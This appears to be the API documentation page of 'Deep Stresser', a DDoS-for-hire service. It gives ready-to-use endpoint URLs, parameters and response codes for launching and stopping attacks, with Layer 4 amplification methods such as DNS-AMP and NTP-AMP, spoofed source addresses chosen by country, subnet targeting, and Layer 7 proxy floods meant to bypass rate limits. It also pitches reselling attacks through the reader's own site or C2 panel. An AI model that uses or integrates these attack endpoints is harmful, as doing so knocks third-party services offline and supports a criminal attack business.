Deep Stresser

API

Welcome to the API

Integrate seamlessly with Deep Stresser using our robust and secure REST API.

What is an API?

An API (Application Programming Interface) allows your system to communicate directly with our stresser platform. By integrating our API, you can offer stress testing services through your own website or C2 panel. It’s a seamless way to automate operations, manage requests, and build your own business using our backend power.

How does our API work?

We have two versions of our API, a Rest API 1.0 version and a Rest API 2.0 version. We developed each one to support the most varied applications. We made both to support the maximum number of applications possible without having to refactor your code to implement our system.

Follow our URL

RestAPI 1.0 version does not return attackId in its content, you will stop attacks based on the target and the time the attack was sent, RestAPI 2.0 has more sophisticated control of attacks.

Rest API 1.0 Rest API 2.0

https://api.deepstresser.su/v1/start?key=YOUR_API_KEY_HERE&target=[TARGET]&port=[PORT]&time=[TIME]&method=[METHOD]RestAPI 1.0 version does not return attackId in its content, you will stop attacks based on
                        initialization parameters, RestAPI 2.0 has
                        more sophisticated control of attacks.
                    
https://api.deepstresser.su/v2/start?target=[TARGET]&port=[PORT]&time=[TIME]&method=[METHOD]
Authorization: Bearer YOUR_API_KEY_HEREYou can use the legacy authentication mechanism without inserting your key in the request body, see more in "Authentication"
Request Method: POST

Authentication

Ensure secure access to the API by authenticating your requests. This process confirms your authorization.

Authentication Method (v1) Required

For API Version 1.0, authentication is typically done by including your API key as a parameter in the URL. Your source IP address must also be whitelisted in the API Keys management section.

Example URL Parameter

?key=YOUR_API_KEY_HERE

Testing Authentication (v1)

You can test if your API key and IP are correctly configured using the dedicated /auth endpoint:

Authentication Test URL GET

https://api.deepstresser.su/v1/auth?key=YOUR_API_KEY_HERE

API Endpoint (v1)

The base URL for all API Version 1.0 interactions is:

Base URL

https://api.deepstresser.su/v1/

Responses (v1)

You can test if your API key and IP are correctly configured using the dedicated /auth endpoint:

The default status return for successful authentication is 200 OK. The content in the body of the response is relevant.

Standard JSON Response Structure

{
  "status": "success",
  "message": "Your authentication was successful",
  "version": "v1",
  "authenticated_by": "URL_KEY"
}

The error response may come with some codes, such as 401 UNAUTHORIZED, 404 NOT_FOUND or 400 BAD_REQUEST

Error JSON Response Structure

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

The following table lists common client error codes and their meanings:

Code	Error Type	Description
401	UNAUTHORIZED	The authentication key was not found, you are using Rest 1.0 version it must be inserted as a parameter in the URL, if you have further questions see our documentation.
400	BAD REQUEST	Your key was not found in your request, please check your request.
404	NOT FOUND	The user for this key was not found, please check the key entered.

The error response will always come with the status 500 INTERNAL_SERVER_ERROR

Server Error Response

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

Code	Error Type	Description
500	INTERNAL SERVER ERROR	An internal communication error occurred with our database, please try again later or contact our team for more information, your request was not processed.
500	INTERNAL_SERVER_ERROR	An internal error occurred and your request was not processed.

Ratelimit issues will usually occur if you do not release the IP address that will have your API synchronized, we will respond with a status of 429 TOO_MANY_REQUESTS

RateLimit Response

{
  "status": "error",
  "message": "You have made too many requests recently, please wait to try again."
}

Remember to keep your API key secure and never share it in public repositories or client-side code.

Authentication Methods (v2) Required

API Version 2.0 supports two authentication methods: the recommended Header method and a legacy URL parameter method. Your source IP address must also be whitelisted in the API Keys management section.

Recommended: via Header Recommended

Include your API key in the Authorization header of your requests:

HTTP Header Format

Authorization: Bearer YOUR_API_KEY_HERE

Legacy: via URL Parameter Not Recommended

You can also include the API key as a query parameter, though this is less secure and not recommended for new integrations:

Example URL Parameter (Legacy)

?key=YOUR_API_KEY_HERE

Testing Authentication (v2)

You can test if your API key and IP are correctly configured using the dedicated /auth endpoint, using either method:

Recommended: via Header Recommended

Authentication Test GET

GET https://api.deepstresser.su/v2/auth
Authorization: Bearer YOUR_API_KEY_HERE

Legacy: via URL Parameter Not Recommended

Authentication Test (Legacy) GET

https://api.deepstresser.su/v2/auth?key=YOUR_API_KEY_HERE

API Endpoint (v2)

The base URL for all Version 2 API interactions is:

Base URL

https://api.deepstresser.su/v2/

Responses (v2)

You can test if your API key and IP are correctly configured using the dedicated /auth endpoint:

The default status return for successful authentication is 200 OK. The content in the body of the response is relevant.

Standard JSON Response Structure

{
  "status": "success",
  "message": "Your authentication was successful",
  "version": "v1",
  "authenticated_by": "URL_KEY|HEADER"
}

The error response may come with some codes, such as 401 UNAUTHORIZED, 404 NOT_FOUND or 400 BAD_REQUEST

Error JSON Response Structure

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

The following table lists common client error codes and their meanings:

Code	Error Type	Description
401	UNAUTHORIZED	The authentication key was not found, you are using the Rest 2.0 version, it must be inserted as a parameter in the URL or using the `Authorization` header, if you have further questions, consult our documentation.
400	BAD REQUEST	Your key was not found in your request, please check your request.
404	NOT FOUND	The user for this key was not found, please check the key entered.

The error response will always come with the status 500 INTERNAL_SERVER_ERROR

Server Error Response

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

Code	Error Type	Description
500	INTERNAL SERVER ERROR	An internal communication error occurred with our database, please try again later or contact our team for more information, your request was not processed.
500	INTERNAL_SERVER_ERROR	An internal error occurred and your request was not processed.

Ratelimit issues will usually occur if you do not release the IP address that will have your API synchronized, we will respond with a status of 429 TOO_MANY_REQUESTS

RateLimit Response

{
  "status": "error",
  "message": "You have made too many requests recently, please wait to try again."
}

Available methods

See the list of available methods we have and what their requirements are.

List of methods

You should check what is supported in each method to send the attack, sending parameters to methods that do not support certain customizations can result in an error.

Name	API Name	Type	Subnet	Geolocation	Informations

Launch Attack

Send attacks in a practical and simple way with our API, providing high flexibility to meet all your needs.

Launch Attack Endpoint (v1)

To launch an attack using API Version 1.0, send a request to the /start endpoint with the required parameters:

URL Structure GET

https://api.deepstresser.su/v1/start?key=YOUR_API_KEY_HERE&target=[TARGET]&port=[PORT]&time=[TIME]&method=[METHOD]

Available Parameters (v1)

Customize the attack the way you want, we have a wide list of parameters to provide high customization of our methods.

Layer 4 Layer 7

Parameter	Type	Description
`key`	String	Input your unique API key within the designated API Keys section.
`target`	String / Base64	Enter the IP/Subnet address you want to attack
`port`	Integer	Enter the target port to be attacked, enter the value 0 to randomize the ports.
`time`	Integer	Enter the duration of the attack in seconds (default: 30).
`method`	String	Enter the attack method to use (e.g., DNS-AMP, NTP-AMP, etc.).
`payload`	Hexadecimal	Insert the payload that will be sent in the package contents.
`geolocation`	String	Enter the source of the IP addresses that will be spoofed to carry out the attack.

Parameter	Type	Description
`key`	String	Input your unique API key within the designated API Keys section.
`target`	String / Base64	Enter the full URL you want to attack.
`port`	Integer	Enter a specific port for Layer 7 attacks. (Default 443/80).
`time`	Integer	Enter the duration of the attack in seconds (default: 30).
`method`	String	Enter the attack method to use (e.g., HTTP-RAW, HTTP-BYPASS, etc.).
`requests`	Integer	Enter the number of requests per Proxy.
`request_method`	String	Enter the HTTP method for requests (GET, POST).
`payload`	Base64	Enter the data payload for POST method requests, must be in Base64.
`geolocation`	String	Enter the desired country for the proxy request source.

Geolocations available (v1)

See the locations that are available for Layer 7 and Layer 4 attacks and click to copy.

Layer 4 Layer 7

Payload Parameter (v1)

See below examples to send custom payloads for Layer 7 and Layer 4.

Layer 4: Hello World!
Layer 7: username=%RAND%

Layer 4 Layer 7

Parameter example HEX

&payload=48656C6C6F20576F726C6421

Request Method (v1) Only Layer 7

See the types of requests available for Layer 7 attacks.

GET
POST

Parameter example

&request_method=POST

Requests (v1) Only Layer 7

Control the number of requests made by Proxy to bypass protections that have ratelimit.

The maximum number of requests per Proxy is 512

Parameter example

&requests=512

Responses (v1)

See the possible responses that may occur on the endpoint /start

The default status return for successful authentication is 200 OK.

Standard JSON Response Structure

{
  "status": "success",
  "message": "Attack sent successfully"
}

The error response may come with some codes, such as 401 UNAUTHORIZED, 404 NOT_FOUND or 400 BAD_REQUEST

Error JSON Response Structure

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

The following table lists common client error codes and their meanings:

Code	Error Type	Description
401	UNAUTHORIZED	The authentication key was not found, you are using Rest 1.0 version it must be inserted as a parameter in the URL, if you have further questions see our documentation.
401	UNAUTHORIZED	The key entered is considered invalid, check if the key entered is correct.
401	UNAUTHORIZED	You need to have an active plan to send attacks using the API.
401	UNAUTHORIZED	You are not authorized to send attacks with the API, please upgrade your plan.
401	UNAUTHORIZED	Your plan has expired, please renew your plan to continue using our API.
400	BAD REQUEST	The target was not entered correctly, please check the target you want to send your attack to.
400	BAD REQUEST	The target entered is too long, please check the entered fields and try again.
400	BAD REQUEST	The target `127.0.0.1\|https://example.com` is not a valid IP address or URL to attack.
400	BAD REQUEST	The duration was not entered correctly, please check the duration you want to send your attack with.
400	BAD REQUEST	The entered duration of `1 second` is not allowed, it needs to be greater than 10 seconds.
400	BAD REQUEST	You have entered an attack time that is longer than your plan allows. Your plan's current attack time limit is `60 seconds`. Please upgrade your plan to be able to send attacks for longer.
400	BAD REQUEST	The method was not entered correctly, please check the method you want to send your attack with.
404	NOT FOUND	The `EXAMPLE` method is not a valid method, check our list of methods that are available in our documentation.
401	UNAUTHORIZED	The `EXAMPLE` method is disabled, contact our team for more information.
401	UNAUTHORIZED	The `EXAMPLE` method is currently under maintenance, please contact our team for more information.
401	UNAUTHORIZED	The `EXAMPLE` method is exclusively for Premium plans, your current plan does not allow you to use this method, upgrade your plan to use it.
401	UNAUTHORIZED	The `EXAMPLE` method does not support attacks using subnet, remove the subnet to be able to send.
400	BAD REQUEST	The subnet `/99` is considered invalid, supported subnets are /32, /31, /30, /29, /28, /27, /26, /25 and /24, check our documentation for more information.
400	BAD REQUEST	The subnet entered in your target appears to be invalid.
400	BAD REQUEST	The port was not entered correctly, please check the port you want to send your attack to.
400	BAD REQUEST	The entered port `65536` cannot be used, use a port between 0 and 65535, check our documentation for more information.
400	BAD REQUEST	The location `EXAMPLE` is considered invalid, please check the available locations in our documentation.
400	BAD REQUEST	The location `EXAMPLE` location is disabled, contact our team for more information.
400	BAD REQUEST	The `EXAMPLE` method does not support custom location attacks, check the supported methods in our documentation.
400	BAD REQUEST	It is not possible to enter a custom port for Layer 7 attacks, check our documentation for more information.
400	BAD REQUEST	The number of requests entered is considered invalid, please enter a value between 16 and 512 requests
400	BAD REQUEST	The entered request method type is considered invalid, supported methods are `GET` or `POST`.

The error response will always come with the status 500 INTERNAL_SERVER_ERROR

Server Error Response

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

Code	Error Type	Description
500	INTERNAL SERVER ERROR	An internal communication error occurred with our database, please try again later or contact our team for more information, your request was not processed.
500	INTERNAL_SERVER_ERROR	An internal error occurred and your request was not processed.

Ratelimit issues will usually occur if you do not release the IP address that will have your API synchronized, we will respond with a status of 429 TOO_MANY_REQUESTS

RateLimit Response

{
  "status": "error",
  "message": "You have made too many requests recently, please wait to try again."
}

Launch Attack Endpoint (v2)

There are two methods to initiate an attack using API version 2.0: you may include your authentication key in the request header, or add it as a parameter as described in the authentication documentation. Always use the /start endpoint with the appropriate parameters shown below.

Recommended: Key via Header Recommended

For maximum security, provide your API key in the Authorization header with each request:

URL Structure POST

https://api.deepstresser.su/v2/start?target=[TARGET]&port=[PORT]&time=[TIME]&method=[METHOD]
Authorization: Bearer YOUR_API_KEY_HERE

Legacy: Key via URL Parameter Not Recommended

Alternatively, you can include the API key as a query parameter, although this method is less secure and not recommended for new integrations:

URL Structure (Legacy) GET

https://api.deepstresser.su/v2/start?key=YOUR_API_KEY_HERE&target=[TARGET]&port=[PORT]&time=[TIME]&method=[METHOD]

Available Parameters (v2)

Personalize the attack with our flexible set of parameters, ensuring compatibility with all supported methods.

Layer 4 Layer 7

Parameter	Type	Description
`key`	String	Enter your unique API key from the API Keys page.
`target`	String / Base64	IP or subnet you want to target.
`port`	Integer	Port number to target (use 0 for random).
`time`	Integer	Attack duration in seconds (default: 30).
`method`	String	Method of attack (e.g., DNS-AMP, NTP-AMP).
`payload`	Hexadecimal	Optional. Custom packet payload in hexadecimal.
`geolocation`	String	Optional. Specify spoofed source IP address.

Parameter	Type	Description
`key`	String	Enter your unique API key from the API Keys page.
`target`	String / Base64	The URL you wish to attack, in full format.
`port`	Integer	Custom port (defaults: 443 for HTTPS, 80 for HTTP).
`time`	Integer	Duration in seconds (default: 30).
`method`	String	The attack method for Layer 7 (e.g., HTTP-GET, HTTP-POST, etc.).
`payload`	Hexadecimal	Optional data to be included in the request body (when applicable).

Geolocations available (v2)

See the locations that are available for Layer 7 and Layer 4 attacks and click to copy.

Layer 4 Layer 7

Payload Parameter (v2)

See below examples to send custom payloads for Layer 7 and Layer 4.

Layer 4: Hello World!
Layer 7: username=%RAND%

Layer 4 Layer 7

Parameter example HEX

&payload=48656C6C6F20576F726C6421

Request Method (v2) Only Layer 7

See the types of requests available for Layer 7 attacks.

GET
POST

Parameter example

&request_method=POST

Requests (v2) Only Layer 7

Control the number of requests made by Proxy to bypass protections that have ratelimit.

The maximum number of requests per Proxy is 512

Parameter example

&requests=512

Responses (v2)

See the possible responses that may occur on the endpoint /start

The default status return for successful authentication is 200 OK.

Standard JSON Response Structure

{
  "status": "success",
  "message": "Attack sent successfully",
  "attackId": 1
}

The error response may come with some codes, such as 401 UNAUTHORIZED, 404 NOT_FOUND or 400 BAD_REQUEST

Error JSON Response Structure

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

The following table lists common client error codes and their meanings:

Code	Error Type	Description
401	UNAUTHORIZED	The authentication key was not found, you are using the Rest 2.0 version, it must be inserted as a parameter in the URL or using the `Authorization` header, if you have further questions, consult our documentation.
401	UNAUTHORIZED	The key entered is considered invalid, check if the key entered is correct.
401	UNAUTHORIZED	You need to have an active plan to send attacks using the API.
401	UNAUTHORIZED	You are not authorized to send attacks with the API, please upgrade your plan.
401	UNAUTHORIZED	Your plan has expired, please renew your plan to continue using our API.
400	BAD REQUEST	The target was not entered correctly, please check the target you want to send your attack to.
400	BAD REQUEST	The target entered is too long, please check the entered fields and try again.
400	BAD REQUEST	The target `127.0.0.1\|https://example.com` is not a valid IP address or URL to attack.
400	BAD REQUEST	The duration was not entered correctly, please check the duration you want to send your attack with.
400	BAD REQUEST	The entered duration of `1 second` is not allowed, it needs to be greater than 10 seconds.
400	BAD REQUEST	You have entered an attack time that is longer than your plan allows. Your plan's current attack time limit is `60 seconds`. Please upgrade your plan to be able to send attacks for longer.
400	BAD REQUEST	The method was not entered correctly, please check the method you want to send your attack with.
404	NOT FOUND	The `EXAMPLE` method is not a valid method, check our list of methods that are available in our documentation.
401	UNAUTHORIZED	The `EXAMPLE` method is disabled, contact our team for more information.
401	UNAUTHORIZED	The `EXAMPLE` method is currently under maintenance, please contact our team for more information.
401	UNAUTHORIZED	The `EXAMPLE` method is exclusively for Premium plans, your current plan does not allow you to use this method, upgrade your plan to use it.
401	UNAUTHORIZED	The `EXAMPLE` method does not support attacks using subnet, remove the subnet to be able to send.
400	BAD REQUEST	The subnet `/99` is considered invalid, supported subnets are /32, /31, /30, /29, /28, /27, /26, /25 and /24, check our documentation for more information.
400	BAD REQUEST	The subnet entered in your target appears to be invalid.
400	BAD REQUEST	The port was not entered correctly, please check the port you want to send your attack to.
400	BAD REQUEST	The entered port `65536` cannot be used, use a port between 0 and 65535, check our documentation for more information.
400	BAD REQUEST	The location `EXAMPLE` is considered invalid, please check the available locations in our documentation.
400	BAD REQUEST	The location `EXAMPLE` location is disabled, contact our team for more information.
400	BAD REQUEST	The `EXAMPLE` method does not support custom location attacks, check the supported methods in our documentation.
400	BAD REQUEST	It is not possible to enter a custom port for Layer 7 attacks, check our documentation for more information.
400	BAD REQUEST	The number of requests entered is considered invalid, please enter a value between 16 and 512 requests
400	BAD REQUEST	The entered request method type is considered invalid, supported methods are `GET` or `POST`.

The error response will always come with the status 500 INTERNAL_SERVER_ERROR

Server Error Response

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

Code	Error Type	Description
500	INTERNAL SERVER ERROR	An internal communication error occurred with our database, please try again later or contact our team for more information, your request was not processed.
500	INTERNAL_SERVER_ERROR	An internal error occurred and your request was not processed.

Ratelimit issues will usually occur if you do not release the IP address that will have your API synchronized, we will respond with a status of 429 TOO_MANY_REQUESTS

RateLimit Response

{
  "status": "error",
  "message": "You have made too many requests recently, please wait to try again."
}

Stop Attack

Cancel ongoing attacks quickly and efficiently with our API, providing complete control over your operations.

Stop Attack Endpoint (v1)

To terminate an active attack using API Version 1.0, send a request to the /stop endpoint with the required parameters:

URL StructureGET

https://api.deepstresser.su/v1/stop?key=YOUR_API_KEY_HERE&target=[TARGET]&time=[TIME]

Required Parameters (v1)

The following parameters are required to successfully stop an attack. They must match the original attack parameters to identify the correct attack instance to terminate.

Parameter	Type	Description
`key`	String	Your unique API key from the API Keys section.
`target`	String / Base64	The same target that was specified when the attack was launched.
`port`	Integer	Optional. The same port that was specified when the attack was launched.
`time`	Integer	The same duration (in seconds) that was specified when the attack was launched.
`method`	String	Optional. The same attack method that was specified when the attack was launched.

Responses (v1)

See the possible responses that may occur on the endpoint /stop

The default status return for successful authentication is 200 OK. The content in the body of the response is relevant.

Standard JSON Response Structure

{
  "status": "success",
  "message": "Attack stopped successfully"
}

The error response may come with some codes, such as 401 UNAUTHORIZED, 404 NOT_FOUND or 400 BAD_REQUEST

Error JSON Response Structure

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

The following table lists common client error codes and their meanings:

Code	Error Type	Description
401	UNAUTHORIZED	The authentication key was not found, you are using the Rest 1.0 version, it must be inserted as a parameter in the URL, if you have further questions see our documentation.
401	UNAUTHORIZED	The key entered is considered invalid, check if the key entered is correct.
401	UNAUTHORIZED	You need to have an active plan to stop attacks using the API.
401	UNAUTHORIZED	You are not authorized to stop attacks with the API, please upgrade your plan.
401	UNAUTHORIZED	Your plan has expired, please renew your plan to continue using our API.
400	BAD REQUEST	The entered target is invalid, please check the entered target to be able to stop the attack.
400	BAD REQUEST	The target entered is too long, please check the entered fields and try again.
400	BAD REQUEST	The target `127.0.0.1\|https://example.com` is not a valid IP address or URL to stop attacking.
400	BAD REQUEST	The duration was not entered correctly, please check the correct duration to stop your attack.
400	BAD REQUEST	The entered duration of `1 second` is not allowed, it must be greater than 10 seconds to stop your attack.
400	BAD REQUEST	You have entered an attack time that is longer than your plan allows. Your plan's current attack time limit is `60 seconds`. seconds. Check the correct time to stop your attack
400	BAD REQUEST	The port `65536` is not a valid port to stop your attack.
400	BAD REQUEST	The `EXAMPLE` method is not a valid method, check our list of methods that are available in our documentation.
400	BAD REQUEST	The `EXAMPLE` method is currently disabled, please choose another method to stop your attack.
400	BAD REQUEST	The `EXAMPLE` method is currently under maintenance, please choose another method to stop your attack.
400	BAD REQUEST	The `EXAMPLE` method is a premium method and is not available for your plan, please update your plan to stop this method.
400	BAD REQUEST	The `EXAMPLE` method is a Layer 4 method and cannot be used to stop Layer 7 attacks.
400	BAD REQUEST	The `EXAMPLE` method is a Layer 7 method and cannot be used to stop Layer 4 attacks.
400	BAD REQUEST	No attack in progress was found for target `1.1.1.1` with time `60` seconds on your account.
400	BAD REQUEST	Attack with target `1.1.1.1` and duration `60` seconds has already been stopped before.

The error response will always come with the status 500 INTERNAL_SERVER_ERROR

Server Error Response

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

Code	Error Type	Description
500	INTERNAL SERVER ERROR	An internal communication error occurred with our database, please try again later or contact our team for more information, your request was not processed.
500	INTERNAL_SERVER_ERROR	An internal error occurred and your request was not processed.

Ratelimit issues will usually occur if you do not release the IP address that will have your API synchronized, we will respond with a status of 429 TOO_MANY_REQUESTS

RateLimit Response

{
  "status": "error",
  "message": "You have made too many requests recently, please wait to try again."
}

To successfully stop an attack, you must provide the exact same parameters used to start it. This ensures that only the specific attack is terminated.

Stop Attack Endpoint (v2)

API Version 2.0 offers a simplified method for stopping attacks using an attack ID. You can include your authentication key either in the request header (recommended) or as a URL parameter.

Recommended: Key via Header Recommended

For maximum security, provide your API key in the Authorization header with your request:

URL StructurePOST

https://api.deepstresser.su/v2/stop?id=[ATTACK_ID]
Authorization: Bearer YOUR_API_KEY_HERE

Legacy: Key via URL Parameter Not Recommended

Alternatively, you can include the API key as a query parameter, although this method is less secure and not recommended for new integrations:

URL Structure (Legacy)GET

https://api.deepstresser.su/v2/stop?key=YOUR_API_KEY_HERE&id=[ATTACK_ID]

Required Parameters (v2)

Version 2.0 simplifies the process using a unique attack identifier:

Parameter	Type	Description	Required
`key`	String	Your unique API key (only required if not using Authorization header).
`id`	String	The unique identifier of the attack you wish to terminate. This ID is returned when an attack is launched.

Responses (v2)

See the possible responses that may occur on the endpoint /stop

The default status return for successful authentication is 200 OK. The content in the body of the response is relevant.

Standard JSON Response Structure

{
  "status": "success",
  "message": "Attack stopped successfully"
  "attackId": 1
}

The error response may come with some codes, such as 401 UNAUTHORIZED, 404 NOT_FOUND or 400 BAD_REQUEST

Error JSON Response Structure

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

The following table lists common client error codes and their meanings:

Code	Error Type	Description
401	UNAUTHORIZED	The authentication key was not found, you are using the Rest 2.0 version, it must be inserted as a parameter in the URL or using the 'Authorization' header, if you have further questions, consult our documentation.
400	BAD REQUEST	The attack ID must be a number, the data entered is invalid, check the documentation for more information.
401	UNAUTHORIZED	The attack ID must be a number, the data entered is invalid, check the documentation for more information.
401	UNAUTHORIZED	You need to have an active plan to stop attacks using the API.
401	UNAUTHORIZED	You are not authorized to stop attacks with the API, please upgrade your plan.
401	UNAUTHORIZED	Your plan has expired, please renew your plan to continue using our API.
404	NOT FOUND	Attack with ID `12345` was not found, so it is not possible to stop this attack.
401	UNAUTHORIZED	The `12345` attack is not linked to your account, so it is not possible to stop it.
400	BAD REQUEST	Attack `12345` has already been stopped before.

The error response will always come with the status 500 INTERNAL_SERVER_ERROR

Server Error Response

{
  "status": "error",
  "message": "Description",  // Human-readable message
}

Code	Error Type	Description
500	INTERNAL_SERVER_ERROR	An internal communication error occurred with our database, please try again later or contact our team for more information, your request was not processed.
500	INTERNAL_SERVER_ERROR	Attack with ID `12345` is corrupted and cannot be stopped, contact our team for more information.
500	INTERNAL_SERVER_ERROR	An internal error occurred and your request was not processed.

Ratelimit issues will usually occur if you do not release the IP address that will have your API synchronized, we will respond with a status of 429 TOO_MANY_REQUESTS

RateLimit Response

{
  "status": "error",
  "message": "You have made too many requests recently, please wait to try again."
}

Rest API 2.0 simplifies attack termination by using an attack ID, making it easier to manage multiple concurrent attacks.

API Keys

Manage your API keys. You can create, edit, and delete keys as needed.

Name	Key	Created at	Status	Actions